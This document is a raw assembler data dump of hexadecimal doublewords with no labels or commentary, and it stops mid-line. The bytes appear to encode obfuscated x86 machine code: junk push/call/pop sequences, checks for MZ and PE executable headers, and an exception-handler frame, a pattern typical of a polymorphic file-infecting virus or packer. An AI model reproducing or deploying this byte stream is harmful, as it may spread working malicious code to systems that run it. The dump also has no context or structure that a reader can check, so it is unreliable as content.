246C895Dh dd 24448104h, 1A04h, 0C3554500h, 0AB1250E9h, 0FF0B60C2h dd 1E1A8D95h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1704h, 0C3514100h, 22618524h, 29DDB58Bh, 0B58B061Eh dd 61E2C29h, 53006A5Bh, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1904h, 0C3534300h, 2792972Ah, 0B589E2F7h, 61E1465h dd 6AC32Bh, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h dd 57470000h, 8BBBD7C3h, 7133B8D8h, 8343Dh, 2C860F00h dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 15042444h, 47000000h, 0F4A9C357h, 8736BE66h, 24E9h dd 89B53100h, 8B061E07h, 52006AC0h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1404h, 0C3524200h, 8BC38B9Ch, 6860FD8h, 8B000000h dd 1E3159B5h, 0A585C706h, 17061E1Fh, 6A35EE5Dh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h dd 2F2AC351h, 19BFF7FAh, 6591CD40h, 6AC08Bh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 19B1EDC3h dd 0F385CE32h, 14E78166h, 219D89C6h, 81061E12h, 1E14EDBDh dd 7D006h, 16850F00h, 0F000000h, 8Fh, 0ED85FF00h, 31061E14h dd 1E16A1BDh, 81BE6606h dd 0EDB5FFB8h, 0FF061E14h, 1E26C195h, 0E1B50306h, 90061E21h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 18h, 17C35040h dd 9EC6A86Bh, 84B66056h, 61F96160h, 0F830Fh, 0AE90000h dd 0C7000000h, 737492F2h, 0C6CA1A6Ah, 6A5E28h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h dd 570565C3h, 0EF78152Eh, 0B58BDD2Eh, 61E2DADh, 7FFCF681h dd 0BF0F5E89h, 0F08B66F2h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 19h, 61C35646h, 2F4FF1B0h, 55006AC9h, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1504h, 0C3554500h dd 8B66BF77h, 7E8FAh, 62F40000h, 7F9B57A8h, 0F68166A4h dd 0B70FDEE4h, 6A5FF2h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 150424h, 57470000h, 33D042C3h, 1E0005BDh, 6840F06h dd 89000000h, 1E19D585h, 23C78106h, 813BB9EDh, 9F4665DEh dd 0F81EE92Ch, 6AFFFFh, 3E850h, 58200000h, 448958C3h, 44810424h dd 190424h, 50400000h, 0FA6AD3C3h, 8BCD4CE4h, 0BD3160C1h dd 61E0C79h, 28C0Fh, 0FA8B0000h, 4EB61h, 60000000h, 0AE9h dd 3BAF3A00h, 55AD6B2h, 8BDA4456h, 1E33598Dh, 0BD8B6106h dd 61E0281h, 19DD858Dh, 0E990061Eh, 9, 0B28B8556h, 6EEF3886h dd 0F4BF50F5h, 904F41B6h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Dh, 0D8C35646h, 763BB3CCh, 6F53139Eh, 69BD8BE2h dd 6A061E0Dh, 0FFBF0F00h, 8DF9006Ah, 22176485h, 83F78B06h dd 6A05C0h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h dd 56460000h, 0B98F1CC3h, 29682F6h, 0B70F2528h, 8B6650FBh dd 240489F8h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 15h, 31C35242h, 8B666028h, 0D28166D8h, 6A614A5Ah, 0DE816600h dd 6AB8BFh, 21C5BD89h, 8B66061Eh, 0ED95FFF8h, 6A061E21h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1C042444h dd 42000000h, 0ADC3C352h, 36AD23D6h, 299A5420h, 1E154DBDh dd 58E0F06h, 60000000h, 61F86160h, 94B69D8Dh, 6A0621h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h, 57470000h dd 69AF18C3h, 0C1599777h, 0BD03D3FFh, 61E21A5h, 1D9185FFh dd 6A061Eh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h dd 56460000h, 0F66202C3h, 9D89F4C5h, 61E0111h, 7DCE9h dd 0E800h, 815D0000h, 22176EEDh, 0EDBD8106h, 0D0061E14h dd 0F000007h, 10086h, 2DBD8B00h, 8B061E23h, 1E04599Dh dd 0E381FC06h, 100h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ch, 4EC35141h, 60199FD2h, 621142F8h, 8B0BE781h dd 0DB0B1C81h, 92850Fh, 6A0000h, 3E850h, 58200000h, 448958C3h dd 44810424h, 140424h, 50400000h, 0BD8BC4C3h, 61E0E45h dd 15EBBD83h, 0F000622h, 0B84h, 0E9BD8B00h, 0E9061E1Dh dd 62h, 15EB85C7h, 10622h, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 170424h, 51410000h, 5B85A6C3h dd 0C7CE816Ch, 0E944C8BAh, 2Eh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 16h, 3C35747h, 0B589F14Dh, 61E17F1h dd 15EB85C7h, 622h, 9D8D0000h, 61E0459h, 16B5BD89h, 2381061Eh dd 0FFFFFEFFh, 11BD0357h, 5F061E1Ch, 27EBBDBFh, 0DB8C6648h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 18h, 16C35747h dd 69326226h, 32259589h, 0C3F6061Eh, 33840F04h, 0F000000h dd 0C81h, 6820F00h, 29000000h, 1E2F39B5h, 8D95FF06h, 8B061E1Ah dd 0F38B90FEh, 0FE99050h, 0DD000000h, 5E332F59h, 0F109F4EFh dd 84D245C6h, 20E9DC39h, 6A000004h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 8ED2C355h dd 0DE9h, 0E28CCA00h, 0B4D94EDFh, 435DF728h, 0B0290Fh dd 8589F28Bh, 61E179Dh, 0BD8970E6h, 61E092Dh, 8D8971E4h dd 61E2E81h, 2E19B503h, 0B60F061Eh, 57006AD8h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 0BAF9CABEh dd 6, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh dd 0E1C35242h, 67C67310h, 1BEA1530h, 6AC38B52h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h dd 0FD38C355h, 667DC86Ch, 0C1532ABEh, 6A04E8h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h dd 149909C3h, 4D9C156Ah, 6AE2F766h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 14042444h, 46000000h, 9C6C356h dd 1E0E0D95h, 6AD82B06h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 1C042444h, 41000000h, 984EC351h, 0A3FF59CDh dd 0BEF4691Ah, 4B3C3D8Ch, 241C8950h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Ah, 3C35545h, 0BA95F9B5h, 9D89752Dh dd 61E2299h, 14EDB5FFh, 5E9061Eh, 1E000000h, 59D63327h dd 26C195FFh, 6A061Eh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1B0424h, 56460000h, 27491BC3h, 52593674h, 6A00B082h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h dd 47000000h, 9B22C357h, 98E17958h, 29EC0C26h, 1E125995h dd 6890F06h, 89000000h, 1E3021BDh, 6A70E606h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h dd 323C350h, 8971E4DCh, 1E2F65BDh, 0F613C06h, 21E83h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1B04h, 0C3564600h dd 470679A7h, 744FB07Fh, 2DD9B529h, 0B60F061Eh, 4D9D89D8h dd 0BA061E21h, 6, 6810Fh, 0BD090000h, 61E0CCDh, 6AC38Bh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h dd 3E32A9C3h, 0BD8BF9ACh, 61E02EDh, 6A04E8C1h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h dd 68DCC350h, 816653F8h, 5FADD8EEh, 51E2F766h, 60D82B5Fh dd 16880Fh, 10E80000h, 14000000h, 0C89863ECh, 0BBDE89B9h dd 80AD1DE0h, 580462F8h, 32818D89h, 5861061Eh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0E0C35545h, 2B450039h dd 38880FD8h, 0B9000001h, 7, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 16h, 6AC35545h, 0FE8BD5E7h, 6A0FBE66h dd 6600C183h, 0F2DFDF81h, 38E0Fh, 0B70F0000h, 0FD93BFAh dd 0F686h, 0D98C6600h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 15h, 0A6C35343h, 25B503F9h, 0F6061E08h, 840F04C1h dd 0BDh, 5FF18B56h, 1A8D95FFh, 6A061Eh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 170424h, 55450000h, 1E2D6DC3h dd 0B58B5B0Ah, 61E1F3Dh, 6AC32Bh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 170424h, 55450000h, 0DBC597C3h dd 5880F9Dh, 66000000h, 6487DF81h, 8343Dh, 56860F00h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 14042444h dd 46000000h, 0FC38C356h, 3EE9h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 8DC89CBAh dd 0FDE634F0h, 0BE97Ah, 20670000h, 1FCD2E5Fh, 9D52C21Dh dd 9C08BA8h, 1E1E798Dh, 8B5F5606h, 6AD88BC3h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h dd 89D0C350h, 1E17BD85h, 9DBD8906h, 0C7061E00h, 1E0E6185h dd 0A1E91706h, 0FDBD293Fh, 8B061E15h, 52006AC0h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h dd 0A1BF8F72h, 8529D03Dh, 61E0045h, 14EDBD81h, 7D0061Eh dd 850F0000h, 2Eh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 14h, 61C35040h, 14ED85FFh, 8D29061Eh, 61E3239h dd 1B15B58Bh, 0B5FF061Eh, 61E14EDh, 30219D29h, 95FF061Eh dd 61E26C1h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Ah, 0E5C35343h, 0C5D0695Eh, 8B665B2Eh, 5E9FBh, 50430000h dd 9068DFECh, 2AF5B52Bh, 6A061Eh, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 150424h, 55450000h, 8B4782C3h, 8B6653F1h dd 0BE9FBh, 1900000h, 2FC7E8AAh, 649A5791h, 6A5E32h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h dd 14166AC3h, 0F632D109h, 39870F15h, 29000000h, 1E054995h dd 9E806h, 0DA880000h, 1C5D46B6h, 0E90FA8CAh, 0Dh, 2A34D4C0h dd 3F98405Eh, 0A92A0E2h, 0CE818h, 79640000h, 9AFF3A95h dd 0B406547Ch, 5F5E877Fh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ah, 93C35141h, 709A26Fh, 8D898563h, 61E1701h dd 1C11BD8Bh, 0D781061Eh, 4E97404Dh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Dh, 0E4C35040h, 37732F19h, 0B20B1408h dd 0DA78BF06h, 0B58B3E23h, 61E2A89h, 0CE9h, 91B1D500h dd 297AF661h, 0C5BEBCFCh, 0F85FE94Ch, 6AFFFFh, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h dd 38C47AC3h, 25BD890Dh, 89061E33h, 1E2E8DBDh, 5E906h dd 0BB120000h, 8B3EA524h, 1E1BF9BDh, 9D896006h, 61E1A15h dd 0FFFFFEB9h, 52006AFFh, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1904h, 0C3524200h, 0AE093BBCh, 0E6BEFE06h dd 21090DA7h, 1E15218Dh, 0DD9D8906h, 21061E20h, 1E0DF98Dh dd 0BE98BA06h, 8D8B1ADFh, 61E1521h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 16h, 0D1C35646h, 0B5312B81h, 61E2315h dd 0F01E183h, 685h, 218D8900h, 8B061E31h, 1E0DF98Dh, 0D1B70F06h dd 2DE5858Bh, 0E183061Eh, 3850F01h, 0F000000h, 6061C2B7h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 0D4C35141h dd 0FFFFFEB9h, 99BD89FFh, 21061E20h, 1E09BD8Dh, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h, 0C3574700h dd 0D0C1D39h, 0E2C7C5DBh, 0D18529h, 8D21061Eh, 61E1FA5h dd 0FE8h, 0F677F200h, 58D8AB80h, 403E7E0Ch, 0E1ACCBB8h dd 92F78151h, 580D5048h, 0BD8D8B5Ah, 0F061E09h, 689h, 0A5B58B00h dd 89061E16h, 1E04298Dh, 1E18306h, 1A850Fh, 50520000h dd 11E9h, 6FF86300h, 0D7F78271h, 6A70A5FEh, 24355E59h dd 5A5FC5AFh, 1FA58D8Bh, 6A061Eh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1A0424h, 57470000h, 175136C3h, 0D0580C32h dd 11E9h, 6FF86300h, 0D7F78271h, 6A70A5FEh, 24355E59h dd 14E8C5AFh, 81000000h, 2FFFF5D9h, 8957D6B9h, 293B1CFCh dd 5C475D53h, 8B2DAF3Ch, 1E094195h, 0E1835E06h, 6850F01h dd 89000000h, 1E317995h, 0E9606106h, 14h, 4F8F8299h, 4410FCDDh dd 0BD6273ECh, 181885E5h, 7D1CBE35h, 0FFFFFEB9h, 53006AFFh dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h, 0C3534300h dd 0BF48C73Bh, 21C531E0h, 1E04598Dh, 11E906h, 47A40000h dd 73DED1FDh, 2CF6BB34h, 9A26F93h, 21856307h, 1E07F58Dh dd 0C0816606h, 8D8B516Fh, 61E0459h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 19h, 46C35343h, 878A624Eh, 8AE381D8h dd 834CB06Bh, 850F01E1h, 2Bh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 16h, 63C35646h, 8E9601Eh, 58000000h dd 1E9FA151h, 8B500584h, 1E07F58Dh, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 0B372F737h dd 54E26B01h, 399589DCh, 66061E01h, 9D1FC681h, 0F01E183h dd 2885h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1704h, 0C3514100h, 0E749DB91h, 89DA8B66h, 1E1DA1BDh dd 66606106h, 3D4DA81h, 0FFFFFEB9h, 0B5B860FFh, 616A4CD0h dd 0E618D21h, 0BB66061Eh, 8D21A99Dh, 61E226Dh, 9E8h, 0A780A200h dd 680A8222h, 10E98254h, 9D000000h, 0C2C7E587h, 6FB8D4E4h dd 9F726BB1h, 58727FF9h, 0E618D8Bh, 6A061Eh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 160424h, 51410000h, 5FAA7EC3h dd 83F8B70Fh, 850F01E1h, 23h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 15h, 2C35343h, 79858947h, 8B061E33h dd 1E226D8Dh, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1704h, 0C3564600h, 74168A4Bh, 8CCEBA66h, 8E8h, 67F15800h dd 0C9EEBDF5h, 51958BEDh, 58061E03h, 0F01E183h, 2785h dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1904h dd 0C3554500h, 514B3A79h, 9503B8D2h, 61E2949h, 6A6061h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 0B91BE7C3h, 10517EAh, 8D8985C5h, 61E2DF9h, 5AF2EF81h dd 85C727A1h, 61E14EDh, 7D0h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 14h, 1AC35545h, 9D18D89h, 2356061Eh dd 1E25C1B5h, 6A615806h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1A042444h, 45000000h, 9415C355h, 98594C10h dd 4DB58BEEh, 0EB061E1Fh, 0E99D6107h, 0 dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0CEC35747h dd 5A77361Ah, 2D1A5F6Ch, 52006A55h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1B04h, 0C3524200h, 492FCFF3h, 0AC3008C3h dd 9D9B58Bh, 858B061Eh, 61E1CEDh, 75E9C18Bh, 60000000h dd 0A8D88C66h, 35840F04h, 6A000000h, 0F1B5FF01h, 8D061E02h dd 2178D185h, 89D0FF06h, 1E004185h, 0C1FE8B06h, 680CEFh dd 6A200400h, 57026A00h, 1000D68h, 4195FF00h, 0E9061E00h dd 32h, 204185C6h, 6856061Eh, 0A9C530DFh, 3291B5FFh, 858D061Eh dd 62178D1h, 8589D0FFh, 61E0201h, 2B79858Dh, 6A50061Eh dd 56056A20h, 20195FFh, 0C361061Eh, 0BA06E0C1h, 0F00D3000h dd 0EA81h, 0C283F000h, 0ED958914h, 83061E1Ah, 858D14EAh dd 622254Dh, 35FF6450h, 0 dd 258964h, 0E8000000h, 0 db 'X+б%',0 db 0F0h, 2 dup(0FFh) dd 4D388166h, 12850F5Ah, 0F000000h, 33C50B7h, 503A81D0h dd 0F000045h, 0A84h, 10002D00h, 0D9E90000h, 8BFFFFFFh dd 0C58589C8h, 3061E0Eh, 0B70F3C40h, 95890650h, 61E2F45h dd 8950508Bh, 1E01B995h, 0F80506h, 508B0000h, 89D1030Ch dd 1E02E595h, 8500306h, 16659589h, 8F64061Eh, 5, 4C48300h dd 13E9h, 4C8B5100h, 0A9811024h, 0B0h, 1000h, 0C3C03359h dd 3351BD83h, 0F00061Eh, 2484h, 4185C600h, 47061E20h, 9AA7D268h dd 91B5FFD4h, 8D061E32h, 2178D185h, 6AD0FF06h, 89D0FF00h dd 1E223585h, 60D38B06h, 0E7F78166h, 6AC08B55h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h dd 5755C351h, 8179CEBEh, 5372C0EEh, 51605368h, 3AE9805Ah dd 0BD835E61h, 61E1D79h, 83097500h, 1E2B25BDh, 19740006h dd 0C08B5350h, 438B8h, 0E9858900h, 8D061E0Ch, 20AC3A9Dh dd 5BD3FF06h, 25BD8358h, 61E2Bh, 53501774h, 438B8h, 0E9858900h dd 8D061E0Ch, 20A9299Dh, 5BD3FF06h, 6D8D8B58h, 0F061E0Eh dd 685h, 11B58B00h, 8B061E22h, 53006AC0h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 0C6B190A6h dd 4694A05h, 829E81Ch, 81660000h, 89C894E9h, 1E32E585h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h dd 0C3504000h, 0E88DEFEDh, 7FBh, 1CA99D31h, 8589061Eh dd 61E19CDh, 7EAE8h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1804h, 0C3554500h, 0A2FDDE73h, 5B58B7Fh dd 89061E02h, 1E331585h, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1604h, 0C3504000h, 23990B71h, 1E32798Dh dd 94E8FC06h, 60000007h, 29C19D8Bh, 0BD29061Eh, 61E26F9h dd 0CD858961h, 0F061E0Dh, 28Fh, 0E8F88B00h, 773h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 72C35242h, 85895984h dd 61E2931h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 1Ah, 5EC35343h, 57DD60E4h, 0FA8BA0F6h, 726E8h, 6860F00h dd 2B000000h, 1E32418Dh, 0A9858906h, 6A061E0Eh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h dd 0E52EC352h, 17644588h, 0E18023CFh, 0BE92Ah, 0C51C0000h dd 7043F0B2h, 18081BB8h, 6D9E845h, 6A0000h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 170424h, 57470000h, 5B395DC3h dd 32BF6660h, 598589B4h, 6A061E1Fh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 6665C353h dd 0C133F781h, 22BDB58Bh, 84E8061Eh, 6A000006h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h dd 27EC353h, 89B8F400h, 1E147585h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1504h, 0C3514100h, 25BE5D5Fh dd 817C6846h, 458612E1h, 631E837h, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 180424h, 50400000h, 10F687C3h dd 8B665A7Eh, 158589F1h, 6A061E04h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1C042444h, 42000000h, 965DC352h dd 0E102796Bh, 0F526F293h, 2215B589h, 0D8E8061Eh, 6A000005h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 16042444h dd 45000000h, 4BD8C355h, 0E58589BFh, 6A061E13h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h dd 0C0D8C357h, 815B0824h, 0B54AF8Dh, 9F1B531h, 84E8061Eh dd 6A000005h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1A042444h, 43000000h, 0BF85C353h, 6642F787h, 0B58589FDh dd 6A061E1Eh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1B042444h, 40000000h, 0B3D0C350h, 0DB1E4C7Fh, 6E8EFBCh dd 9000000h, 6BF19494h, 9E86032h, 0AF000000h, 878C6525h dd 5C5A07BAh, 2DBD8B58h, 61061E19h, 511E859h, 85090000h dd 61E1DC9h, 15158589h, 8150061Eh, 0D13923C7h, 0F8E85E18h dd 6A000004h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1A042444h, 41000000h, 8C0C351h, 41517807h, 14E802h dd 0D3490000h, 0A4EEDEB2h, 0E6C86F19h, 1D73FD89h, 4C9C5ECEh dd 0F18B9985h, 11858959h, 8B061E2Dh, 1E1581B5h, 4A9E806h dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h dd 57470000h, 0DC9724C3h, 7ED5C25Eh, 0DE945h, 81650000h dd 0A44B3F77h, 9F573C24h, 89E2C6B4h, 1E299185h, 5E806h dd 0F60C0000h, 3118A97Fh, 1E1ADD8Dh, 58E85906h, 89000004h dd 1E07F985h, 7D858906h, 6A061E32h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 70F3C356h dd 71BE6688h, 425E886h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1D0424h, 53430000h, 6AF9C0C3h, 0AE5A6998h dd 6673BF51h, 0B4E4F781h, 31B18589h, 0B58B061Eh, 61E1A9Dh dd 6A00B0h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h dd 50400000h, 556FBCC3h, 0EC6D80A8h, 0E8828CEAh, 7, 0DF84A849h dd 81CC4470h, 0DFBB7F7h, 0B60F5941h, 3820FD8h, 0F000000h dd 6BAF0B7h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 18042444h, 47000000h, 0D469C357h, 8BDFC42Fh dd 1E2A79B5h, 6AC38B06h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1C042444h, 42000000h, 13FCC352h, 3C6F4DE9h dd 0C15C6DF0h, 6A04E8h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 170424h, 57470000h, 75C874C3h, 0BE957h, 41120000h, 23A6FBFDh dd 585CC37Dh, 0E2F76680h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Bh, 0CAC35646h, 36C690C5h, 2B64958Bh, 518D8BD8h dd 93061E2Bh, 2880F56h, 60000000h, 93505F61h, 0DE9h, 0FF0B7F00h dd 14721E65h, 0E1FEFB75h, 95FF07B7h, 61E1A8Dh, 6840Fh dd 0B5330000h, 61E2729h, 0B0B9665Bh, 0F1BD89FBh, 8D061E16h dd 1E26DD95h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1704h, 0C3504000h, 6B9C0B6Eh, 2B619589h, 1A89061Eh dd 6A044289h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 18042444h, 47000000h, 0B5CDC357h, 53989A23h, 1B918D89h dd 8D5E061Eh, 1E19B995h, 0E58D8B06h, 89061E0Ch, 55006A1Ah dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h dd 0E57E75A9h, 66987818h, 850FF28Bh, 11h, 0CE9h, 4BCC7000h dd 6C376753h, 709718CAh, 198D290Ch, 89061E16h, 6A0442h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h dd 0BD8B72C3h, 61E1445h, 2BED958Dh, 9D89061Eh, 61E1791h dd 8B661A89h, 44289CFh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 17h, 1C35646h, 66590623h, 958DC88Bh, 61E2DF1h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h dd 0EC35646h, 858D89EEh, 89061E32h, 57006A1Ah, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 5E959h, 4BCE0000h dd 89600925h, 52BF0442h, 8D5DF862h, 1E22A195h, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h dd 0F1BF5476h, 894339DBh, 56006A1Ah, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 0F65C611h dd 38Ah, 0F6B70F00h, 6A044289h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 16042444h, 46000000h, 0EB17C356h, 8D0B57FEh dd 61E2EC5h, 4D958D5Fh, 53061E09h, 9E9h, 0F0DC1100h, 0A0E641CDh dd 895FABF6h, 0AD95291Ah, 8B061E0Eh, 1E19D5B5h, 4428906h dd 8BFFB70Fh, 1E1EFDBDh, 59958D06h, 0E9061E2Ch, 11h, 0FE6D2A5Dh dd 44003263h, 21BCB5DCh, 7B5528D2h, 6A1A89E8h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h dd 0B4DEC351h, 0BBBA1337h, 89CB9A4Ch, 6A0442h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h dd 9EFAA4C3h, 0CE90Fh, 0A29E0000h, 55822F22h, 734AF6Dh dd 958DBBE4h, 61E17F5h, 42891A89h, 55006A04h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 21847A73h dd 8B91750Ah, 1E1DF1BDh, 58D8B06h, 0E9061E02h, 0C7h, 6AF88B66h dd 6880F00h, 89000000h, 1E02EDB5h, 6A006A06h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h dd 0CA9CC357h, 9ED13D28h, 6A972854h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1604h, 0C3554500h, 0F73C677h dd 85h, 21858900h, 6A061E12h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1D04h, 0C3554500h, 68C36983h dd 5B165B57h, 858928C7h, 61E0319h, 1E6D95FFh, 0F2B9061Eh dd 0C352DA05h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Dh, 75C35040h, 10F14B1Ah, 65AADC63h, 59BD29DBh, 8A061E14h dd 56006AC5h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h dd 0C3564600h, 0A659E2CEh, 0C08BE6A1h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 19h, 66C35545h, 56B2BB80h, 0B98D898Bh dd 83061E33h, 1E1D79BDh, 9750006h, 2B25BD83h, 7400061Eh dd 8B535019h, 438B8C0h, 85890000h, 61E0D19h, 0ACA19D8Dh dd 0D3FF0620h, 0BD83585Bh, 61E2B25h, 50177400h, 438B853h dd 85890000h, 61E0D19h, 0A9429D8Dh, 0D3FF0620h, 6A585Bh dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h dd 0BD010AC3h, 61E20C5h, 0E59BD8Bh, 0C08B061Eh, 19DD858Dh dd 6A061Eh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h dd 51410000h, 0F85BB1C3h, 0DEB70FB7h, 905FF853h, 16BB6650h dd 6A9046h, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h dd 50400000h, 8F8DC3h, 6AA00D3Bh, 2DBD8900h, 6A061E1Bh dd 0F88B6600h, 3212858Dh, 0CE90622h, 53000000h, 0DAA05AC3h dd 0FFDC86DEh, 8391A8CCh, 8B6605C0h, 10E950FEh, 11000000h dd 9339E5D9h, 13D9374Ah, 0BD3F19D4h, 898C0FE0h, 6A2404h dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h dd 0CF10ADC3h, 0BF82B582h, 4F8A2268h, 6A006Ah, 3E857h dd 5F200000h, 